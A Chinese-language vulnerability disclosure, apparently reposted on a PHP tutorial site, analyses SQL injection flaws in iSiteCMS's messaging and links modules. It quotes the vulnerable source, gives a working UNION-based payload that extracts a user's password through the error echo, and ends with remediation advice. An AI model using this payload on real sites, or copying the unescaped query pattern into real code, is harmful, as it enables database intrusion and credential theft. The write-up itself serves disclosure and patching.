来源:自学PHP网 时间:2015-04-15 14:59 作者: 阅读:次
[导读] iSiteCMS 之前有过一个后台登陆时的注射,不过后来修复了,但是还有几处注射分布在XX模块以及XXX模块里本文对源代码进行了详细的分析源码分析请见详细说明,实站演示请见漏洞证明...
|
iSiteCMS 之前有过一个后台登陆时的注射,不过后来修复了,但是
还有几处注射分布在XX模块以及XXX模块里
本文对源代码进行了详细的分析
源码分析请见详细说明,实站演示请见漏洞证明
/isite/components/messages/messages.fe.php line:103
if($form->status == TFORM_STATUS_GETED_VALID){
//这个是站内短信的写信息表单 的 处理
$arr = $form->getValues();
//直接获取表单中信息
$tos = explode(',',trim($arr['to']));
//只是分割,不是过滤
$noExistsMenber = array();
$toMenbers = array();
foreach ($tos as $menber){
$i =
$this->DBE->getOne("select `id` from #__user where `name`='$menber'");
//一直到上面这一句都没有过滤,直接带入数据库查询了,之所以会这么写可能的原因是开发人员误以为`name`='$menber'的引号可以起到保护作用(其他的int变量都通过了inval,而这个是string啊喵,我可以输入单引号啊喵)
if(is_null($i) or empty($i)){
$noExistsMenber[] = $menber;
//id只要有返回就可以继续
}else{
$m['name'] = $menber;
$m['id'] = $i;
$toMenbers[] = $m;
}
}
if(!empty($noExistsMenber)){
addGlobalNotice("以下用户不存在:".implode(',',$noExistsMenber));
}else{
$msg['tos'] = $arr['to'];
$msg['subject'] = $arr['subject'];
$msg['content'] = $arr['content'];
//进入信息发送的模块了,实际上之前就已经引发注射了,但是攻击时需要读sendMessage代码
$mMessage->sendMessage($toMenbers,$msg);
$this->flash('成功','发送成功',bu(1,'messages','inbox'));
}
这个就是代码里的表单显示
![]() 先来个同理可证:
/isite/components/links/links.be.php line:64
if($form->status == TFORM_STATUS_GETED_VALID){
$newCat = $form->getValues();
if($id==0){
//create category
//check name
$name = $newCat['name'];
$nameUsed = $this->DBE->getOne("select count(*) from #__link_category where `name`='$name'");
if($nameUsed){
$form->status = TFORM_STATUS_GETED;
看完以上代码是不是有一种似曾相识的感觉呢?
漏洞成因分析完毕
下面是对于攻击方式的分析,如果您只关心如何把漏洞补上,也可以直接跳过以下内容到漏洞修复那里
注射肯定是有了,但是这里有一点点别扭的地方,就是
$tos = explode(',',trim($arr['to']));
这句话把逗号给干掉了,给注射添加了小小难度,不过,这能难倒WOOYUN的帽子们吗?
继续分析代码:
/isite/components/messages/models/message.php 整个php
function sendMessage($to,$message,$type=null,$newCall=1){
//刚才检测完用户是否存在后,调用这个函数
if(isset($to['name']) or is_string($to)){
if(is_string($to)){
$to['name'] = $to;
}
if(!isset($to['id'])){
//还记得id吗,是之前被注射SQL的返回,理论上正常应该是目标用户的id
$to['id'] = $this->_db->getOne("select `id` from #__user where `name`='$to[name]'");
}
//又SELECT一遍,不过name还是注射时的name,这一句也被注射了
global $gUser;
$message['to'] = $to['name'];
$message['to_id'] = $to['id'];
$message['from'] = $gUser->name;
$message['from_id'] = $gUser->id;
$message['create_time'] = TIME_STAMP;
$message['type'] = $type;
$this->insert($message);
//看到下一句,终于长舒一口气,注射可以有回显了!to_id就是我们的语句执行结果,而它会报错给我们看的!
$this->_db->execute("update #__user set `new_msg_count`=`new_msg_count`+1 where `id`=$message[to_id]");
if($newCall>0){
$message['to'] = '';
$message['to_id'] = 0;
$this->insert($message);
$newCall--;
}
}else if(is_array($to)){
foreach ($to as $sto){
$this->sendMessage($sto,$message,null,$newCall);
}
}
}
注射+回显方法 :
test' and 1=2 union select password from flexi_user where id=1#
union select 后面加你想看的内容即可,不过记着不能用逗号哦
修补方式分析:
目前的状态是:数字型+语句中单引号(可防注射);字符型+语句中单引号(仍能注射)
主要需要考虑字符型变量的过滤问题
可以addslashes,也可以用普通过滤
也可以用框架提供的安全特性
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com